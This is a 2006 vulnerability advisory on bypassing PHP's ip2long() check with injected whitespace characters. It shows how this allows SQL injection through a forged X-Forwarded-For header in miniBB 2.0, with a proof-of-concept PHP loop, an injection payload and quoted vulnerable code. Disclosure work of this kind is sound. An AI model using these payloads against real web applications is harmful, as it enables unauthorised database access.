--- PHP ip2long() function circumvention --------------------------------------
tested on php 5.0.2
" 4.3.3
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after some test on miniBB application (http://www.minibb.net/) I obtained that
the php ip2long() function can be tricked to return a valid IPv4 Internet
network address instead of "-1" even if the ip address argument is not a valid
one, through the injection of some chars, ex:
<?php
for ($i=0; $i<=255; $i++)
{
echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n";
}
?>
when chr($i) is chr(0), chr(9), chr(10), chr(11), chr(12), chr(13) or chr(32)
it gives the following (valid) result:
16843009
in minibb case this could result in sql injection, forging an header like this:
X-FOWARDED-FOR: 1.1.1.1[CHR(9)]'[SQL CODE]
or even like this:
X-FOWARDED-FOR: 1[CHR(9)]'[SQL CODE]
(however Minibb limit the string to 15 chars so you will have an unuseful twelve
chars sql injection...)
also remeber that HTTP headers is not filtered by PHP magic_quotes_gpc, so this
could give an attacker the way to fully compromise an application
code taken from MiniBB 2.0
index.php, 248-264
/* Banned IPs/IDs stuff */
$thisIp=getIP(); <--------------------- here $thisIp
becomes our sql code
$cen=explode('.', $thisIp);
if(isset($cen[0]) and isset($cen[1]) and isset($cen[2])){
$thisIpMask[0]=$cen[0].'.'.$cen[1].'.'.$cen[2].'.+';
$thisIpMask[1]=$cen[0].'.'.$cen[1].'.+';
}
else {
$thisIpMask[0]='0.0.0.+';
$thisIpMask[1]='0.0.0.+';
}
if (db_ipCheck($thisIp,$thisIpMask,$user_id)) { //<----------- $thisIp is
passed to the db_ipCheck() function
$title=$sitename." :: ".$l_accessDenied;
echo ParseTpl(makeUp('main_access_denied')); exit;
}
bb_functions.php, near lines 123-131
//--------------->
function getIP(){
$ip1=getenv('REMOTE_ADDR');$ip2=getenv('HTTP_X_FORWARDED_FOR');
if ($ip2!='' and ip2long($ip2)!=-1) $finalIP=$ip2; else $finalIP=$ip1; //<--
vulnerable code
$finalIP=substr($finalIP,0,15);
return $finalIP;
}
//--------------->
setup_mysql.php, near lines 99-105:
function db_ipCheck($thisIp,$thisIpMask,$user_id){
$res=mysql_query('select id from '.$GLOBALS['Tb'].' where
banip='."'".$thisIp."'".' or banip='."'".$thisIpMask[0]."'".' or //<--- sql
injection
banip='."'".$thisIpMask[1]."'".' or banip='."'".$user_id."'");
echo mysql_error();
if($res and mysql_num_rows($res)>0) return TRUE; else return FALSE;
}
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1.05 29/07/2006
rgod
http://retrogod.altervista.org/php_ip2long.htm
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